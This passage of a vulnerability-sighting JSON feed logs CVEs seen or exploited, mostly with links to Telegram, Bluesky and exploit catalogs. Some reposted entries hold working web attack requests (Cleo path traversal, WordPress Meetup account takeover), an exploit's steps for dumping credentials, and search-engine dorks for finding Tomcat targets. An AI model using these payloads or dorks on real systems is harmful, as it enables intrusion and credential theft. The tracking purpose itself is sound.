\u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\u00a0\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Android \u0437\u0430 \u043c\u0430\u0440\u0442 2025 \u0433\u043e\u0434\u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 60 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0445 \u043a EoP.\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e Google \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0434\u0432\u0430 \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439: \u0443\u0440\u043e\u0432\u043d\u0438 2025-04-01 \u0438 2025-04-05. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f   \u0434\u043b\u044f \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0441 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0438 \u043f\u043e\u0434\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u044b \u043a\u043e \u0432\u0441\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c Android.\n\n\u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Google Pixel \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u044d\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c \u0447\u0430\u0441\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.", "creation_timestamp": "2025-04-09T08:34:29.000000Z"}, {"uuid": "5887977f-66c2-4810-a176-10c967c3adbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/3445", "content": "https://github.com/RandomRobbieBF/CVE-2024-50483\n\nMeetup <= 0.1 - Authentication Bypass via Account Takeover\n#github #exploit #poc", "creation_timestamp": "2024-11-12T15:27:07.000000Z"}, {"uuid": "ad9b0c17-63a7-401f-8b78-8ca85dbd295b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "Telegram/knRK1G2lhiZC1irKza_he2gA0fL0ysN6swU7U2_Il1TGLT4", "content": "", "creation_timestamp": "2025-03-03T19:16:47.000000Z"}, {"uuid": "dc08e604-9481-44ce-879e-23d6e1b9ab03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5035", "type": "seen", "source": "https://t.me/ZerodayAlert/239", "content": "", "creation_timestamp": "2026-07-06T11:00:07.159371Z"}, {"uuid": "1e6e73eb-2197-4816-9f03-fedb3fada435", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11414", "content": "#exploit\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\nhttps://github.com/imnotcha0s/CVE-2024-10914\n]-> Exploitation + Fix\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\nhttps://github.com/RandomRobbieBF/CVE-2024-50483", "creation_timestamp": "2025-01-15T00:36:56.000000Z"}, {"uuid": "1465a85c-a6d7-4536-8213-6d2b9b8de87c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50283", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11678", "content": "#Kernel_Security\n1. Ksmbd vulnerability research\n(CVE-2024-50283, CVE-2024-50285, CVE-2024-50286)\nhttps://blog.doyensec.com/2025/01/07/ksmbd-1.html\n2. Memory-related CVEs Exploited in kernelCTF (CVE-2023-3269, CVE-2024-50066)\nhttps://u1f383.github.io/linux/2025/01/12/memory-related-cves-exploited-in-kernelctf.html", "creation_timestamp": "2025-01-14T16:21:53.000000Z"}, {"uuid": "8dadf001-2af9-48b5-9544-cb0680a3cf3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50285", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11678", "content": "#Kernel_Security\n1. Ksmbd vulnerability research\n(CVE-2024-50283, CVE-2024-50285, CVE-2024-50286)\nhttps://blog.doyensec.com/2025/01/07/ksmbd-1.html\n2. Memory-related CVEs Exploited in kernelCTF (CVE-2023-3269, CVE-2024-50066)\nhttps://u1f383.github.io/linux/2025/01/12/memory-related-cves-exploited-in-kernelctf.html", "creation_timestamp": "2025-01-14T16:21:53.000000Z"}, {"uuid": "c8e006e4-9338-4dc6-9034-7d15fc1fa8ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11595", "content": "#exploit\n1. CVE-2024-50379:\nApache Tomcat RCE\nhttps://github.com/ph0ebus/Tomcat-CVE-2024-50379-Poc\n\n2. CVE-2024-48990:\nQualys needrestart <3.8 - Uncontrolled Search Path Element\nhttps://github.com/makuga01/CVE-2024-48990-PoC", "creation_timestamp": "2024-12-23T15:32:22.000000Z"}, {"uuid": "ac58406d-258c-4764-9914-1aeb801f277b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11659", "content": "#exploit\n1. CVE-2023-6932, CVE-2023-0461:\nUaF/LPE in Linux kernel\nhttps://u1f383.github.io/linux/2025/01/08/two-network-related-vulnerabilities-analysis.html\n\n2. CVE-2024-53141:\nAn OOB Write Vulnerability in Netfiler Ipset\nhttps://u1f383.github.io/linux/2025/01/07/cve-2024-53141-an-oob-write-vulnerability-in-netfilter-ipset.html\n\n3. CVE-2024-50603:\nAviatrix Network Controller Command Injection Vulnerability\nhttps://www.securing.pl/en/cve-2024-50603-aviatrix-network-controller-command-injection-vulnerability", "creation_timestamp": "2025-01-27T13:58:34.000000Z"}, {"uuid": "312b1000-3d0c-454d-a319-0de4176a2bb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50286", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11678", "content": "#Kernel_Security\n1. Ksmbd vulnerability research\n(CVE-2024-50283, CVE-2024-50285, CVE-2024-50286)\nhttps://blog.doyensec.com/2025/01/07/ksmbd-1.html\n2. Memory-related CVEs Exploited in kernelCTF (CVE-2023-3269, CVE-2024-50066)\nhttps://u1f383.github.io/linux/2025/01/12/memory-related-cves-exploited-in-kernelctf.html", "creation_timestamp": "2025-01-14T16:21:53.000000Z"}, {"uuid": "5ef79fae-ef51-406e-95ad-fc8dc6081f87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50066", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11678", "content": "#Kernel_Security\n1. Ksmbd vulnerability research\n(CVE-2024-50283, CVE-2024-50285, CVE-2024-50286)\nhttps://blog.doyensec.com/2025/01/07/ksmbd-1.html\n2. Memory-related CVEs Exploited in kernelCTF (CVE-2023-3269, CVE-2024-50066)\nhttps://u1f383.github.io/linux/2025/01/12/memory-related-cves-exploited-in-kernelctf.html", "creation_timestamp": "2025-01-14T16:21:53.000000Z"}, {"uuid": "2a79f0b7-6f40-4e6e-b6f6-8fe1597786f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11726", "content": "#exploit\n1. CVE-2024-43451:\nWindows NTLMv2 0-day\nhttps://github.com/RonF98/CVE-2024-43451-POC\n\n2. CVE-2024-50050:\nVulnerability in meta-llama/llama-stack\nhttps://www.oligo.security/blog/cve-2024-50050-critical-vulnerability-in-meta-llama-llama-stack", "creation_timestamp": "2025-01-24T11:52:07.000000Z"}, {"uuid": "f8d938de-2fd8-408d-80bd-c803a89a6710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/320", "content": "CVE-2024-50623\n\nGET /Synchronization HTTP/1.1\nHost: {{Host}}\n\nVLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0;a=192.168.1.100;po=5080;s=True;b=False;pp=myEncryptedPassphrase;path=..\\..\\..\\windows\\win.ini\n\nContent-Type: multipart/form-data; boundary=---------------------------12345678901234567890123456\n\nContent-Length: 0\n\n#exploit #poc", "creation_timestamp": "2025-01-08T16:02:50.000000Z"}, {"uuid": "bbc8f6c7-4134-499f-be97-9133e3ead735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/329", "content": "https://github.com/newlinesec/CVE-2024-50603\n\nCVE-2024-50603-nuclei-poc\n#github #exploit #poc", "creation_timestamp": "2025-01-10T12:46:48.000000Z"}, {"uuid": "8d05d2c2-e5cb-4a79-b7db-b1b2d12dc93e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "https://t.me/haj3imad/311", "content": "CVE-2024-50623\n\nGET /Synchronization HTTP/1.1\nHost: {{Host}}\n\nVLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0;a=192.168.1.100;po=5080;s=True;b=False;pp=myEncryptedPassphrase;path=..\\..\\..\\windows\\win.ini\n\nContent-Type: multipart/form-data; boundary=---------------------------12345678901234567890123456\n\nContent-Length: 0\n\n#exploit #poc", "creation_timestamp": "2025-01-08T16:04:40.000000Z"}, {"uuid": "1897df51-26cc-4956-8311-2a2762510962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/haj3imad/388", "content": "https://github.com/newlinesec/CVE-2024-50603\n\nCVE-2024-50603-nuclei-poc\n#github #exploit #poc", "creation_timestamp": "2025-01-10T12:48:10.000000Z"}, {"uuid": "df0c6249-1103-4eef-a133-ee497de89977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/17", "content": "CVE-2024-50483\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: kubernetes.docker.internal\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 149\n\naction=meetup_fb_register&email=admin@admin.com&first_name=Test&last_name=User&id=12345678901234567890&type=token&link=https://example.com/user/test/\n\n#exploit #poc", "creation_timestamp": "2024-11-11T17:23:26.000000Z"}, {"uuid": "2c2cd329-2b46-49da-90f8-796e499f4df2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/232", "content": "https://github.com/ph0ebus/Tomcat-CVE-2024-50379-Poc\n\nRCE through a race condition in Apache Tomcat\n#github #poc", "creation_timestamp": "2024-12-22T03:43:00.000000Z"}, {"uuid": "a6dd14e7-ccc7-4d89-acee-2f9bd619b5ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "published-proof-of-concept", "source": "https://t.me/haj3imad/27", "content": "", "creation_timestamp": "2024-12-11T16:32:12.000000Z"}, {"uuid": "29008aa0-7e0e-40f3-804c-0e07c2189035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5057", "type": "exploited", "source": "https://t.me/DEVIL_La_RSx/1632", "content": "CVE-2024-5057\n\nLet's try to inject and get the creds.\n\ncd cve-2024-5057\n./configure\nmake\nmake install\nThe expoit is installed as /usr/local/bin/cve-2024-5057.\n\nSo\n\ncve-2024-5057 https://wp.example.com\nwhere https://wp.example.com is a target Wordpress site.\n\nResult output\nIf the site is not vulnerable:\n\nThe  site is not vulnerable\nIf the injection succeeded:\n\nusername: Admin\npassword: Secret\n\nhttps://github.com/g1thubb004/poc-CVE-2024-5057", "creation_timestamp": "2024-12-02T01:56:50.000000Z"}, {"uuid": "df3f442d-bc37-416e-a4e5-4b3b882e5d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://t.me/club31337/3147", "content": "https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/\n\n@club31337", "creation_timestamp": "2025-01-03T10:21:04.000000Z"}, {"uuid": "543e062f-6005-432c-817f-7a79e4e54356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/suboxone_chatroom/941", "content": "\u26a1\ufe0fCVE-2024-50379/CVE-2024-56337 : Apache Tomcat Patches Critical RCE Vulnerability\n\n\ud83d\udd25Exploit : https://github.com/SleepingBag945/CVE-2024-50379\n\n\ud83d\udc47Dorks:\nHUNTER :/product.name=\"Apache Tomcat\"\nFOFA : product=\"Apache-Tomcat\"\nSHODAN : product:\"Apache-Tomcat\"", "creation_timestamp": "2025-01-13T11:04:46.000000Z"}, {"uuid": "434b7a3e-8248-48f2-b5cd-3e002107b143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/suboxone_chatroom/1572", "content": "#exploit\n1. CVE-2024-50379:\nApache Tomcat RCE\nhttps://github.com/ph0ebus/Tomcat-CVE-2024-50379-Poc\n\n2. CVE-2024-48990:\nQualys needrestart <3.8 - Uncontrolled Search Path Element\nhttps://github.com/makuga01/CVE-2024-48990-PoC", "creation_timestamp": "2025-01-27T07:07:37.000000Z"}, {"uuid": "4d5542dd-555e-484a-b5ca-4a9058e78018", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "cve-2024-50340", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmbqwtodhw2b", "content": "", "creation_timestamp": "2026-05-20T11:02:01.348390Z"}, {"uuid": "57ad8555-ef3f-42f3-8ef0-db20e1013460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "cve-2024-50629", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mn2xufeq572g", "content": "", "creation_timestamp": "2026-05-30T11:42:30.186693Z"}, {"uuid": "7d266ead-c03f-41ec-a514-f5e4902cc06c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50334", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/e06fca47-2572-415e-b1d7-452a0739809d", "content": "", "creation_timestamp": "2026-06-19T12:42:35.503113Z"}, {"uuid": "4169d366-1d53-40ae-ac20-602524ae6bed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50823", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mosvws5prg2c", "content": "", "creation_timestamp": "2026-06-21T17:37:07.394149Z"}, {"uuid": "3ca1ddce-4113-4155-adbc-6a375a140cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50823", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mosvwqxe4i2k", "content": "", "creation_timestamp": "2026-06-21T17:37:06.474241Z"}, {"uuid": "f902be86-9800-40bd-9de7-68a1c050ee59", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/6bd49e8c-edf4-448f-9de6-7950af17ca4d", "content": "", "creation_timestamp": "2026-06-23T11:12:06.856539Z"}, {"uuid": "293b1377-9edc-47bb-97c4-2b1e8f949645", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/bd05b5e9-3f8f-408d-a7eb-c9cc8b9f7230", "content": "", "creation_timestamp": "2026-06-23T11:12:14.336117Z"}, {"uuid": "ebebc7da-a12b-4130-a5ea-23bedd9159c5", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/52212ad4-74b1-4a8c-bfe9-a7f6ba04a0eb", "content": "", "creation_timestamp": "2026-06-23T11:14:34.113972Z"}, {"uuid": "04b07eb9-4839-45b8-97b9-1c1a52b341b2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/878faf06-735d-4687-a32e-07d3a89583c8", "content": "", "creation_timestamp": "2026-06-23T11:14:30.911958Z"}, {"uuid": "fb14a223-4cb7-408f-9d54-300459a83b95", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/cc16e912-3c42-4242-8272-009cb3b86772", "content": "", "creation_timestamp": "2026-06-23T11:14:32.113736Z"}, {"uuid": "0a988bdc-d954-4af9-a097-3a7f919fce32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-26)", "content": "", "creation_timestamp": "2026-06-27T10:15:10.975036Z"}, {"uuid": "380618a9-1a58-4e09-9e60-416175fd7b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50334", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-26)", "content": "", "creation_timestamp": "2026-06-27T10:15:10.591685Z"}, {"uuid": "9d86a951-388e-4a23-bf3b-685628df07fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50498", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-26)", "content": "", "creation_timestamp": "2026-06-27T10:15:09.288398Z"}, {"uuid": "75c76836-9c37-4774-bd47-b72fdd9e4381", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/63174ad7-d7d8-44e8-ba11-ae52ad84d101", "content": "", "creation_timestamp": "2026-07-01T05:54:15.739226Z"}, {"uuid": "7a5c6a80-0ddc-40d2-a788-1ed2cecad369", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/758a533c-9164-4e39-8432-caf7eef53d96", "content": "", "creation_timestamp": "2026-07-01T05:54:17.696306Z"}, {"uuid": "289da78b-e832-4d62-ae1f-9c58fa40c3e7", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/f3c49e71-0fc6-4bf2-8ae3-1ca6bdbd9010", "content": "", "creation_timestamp": "2026-07-01T05:54:23.847592Z"}, {"uuid": "aed028e7-b15c-455a-8ddb-b67e7eff81df", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50334", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/af559434-18fb-48d2-84ac-430e711d7504", "content": "", "creation_timestamp": "2026-07-01T05:54:47.919215Z"}, {"uuid": "7c62961e-2253-47ae-a804-8444de170334", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/c8cf029c-40c8-4d42-aad7-48ffb95d2b38", "content": "", "creation_timestamp": "2026-07-01T07:18:03.482517Z"}, {"uuid": "80694328-50a9-4ced-8093-2950303b9b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50970", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mprcafuwuk2l", "content": "", "creation_timestamp": "2026-07-03T19:37:07.336098Z"}, {"uuid": "d95659fd-f25f-4a1c-8492-d6f4191b5bbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50854", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mprdvzuqhk2f", "content": "", "creation_timestamp": "2026-07-03T20:07:06.987760Z"}, {"uuid": "2d86af49-0fd0-44c5-bd17-ca522c0454f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50852", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mprflpgeta2i", "content": "", "creation_timestamp": "2026-07-03T20:37:07.878962Z"}, {"uuid": "b9851307-31b8-47f8-a527-bbad29fcd6ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50853", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mprhbdg6lq2t", "content": "", "creation_timestamp": "2026-07-03T21:07:11.871784Z"}, {"uuid": "cd07c20b-9e0d-4644-9045-935823850a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50329", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mptqzoumlb2b", "content": "", "creation_timestamp": "2026-07-04T19:07:07.327059Z"}, {"uuid": "2aa8f11a-b3fa-42a6-8c2a-775f80f410cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50332", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpu4r7b3rh2w", "content": "", "creation_timestamp": "2026-07-04T22:37:07.411813Z"}, {"uuid": "2b52ce62-c041-4ee2-9f1e-cbdc447c147d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5035", "type": "seen", "source": "https://t.me/ZerodayAlert/239", "content": 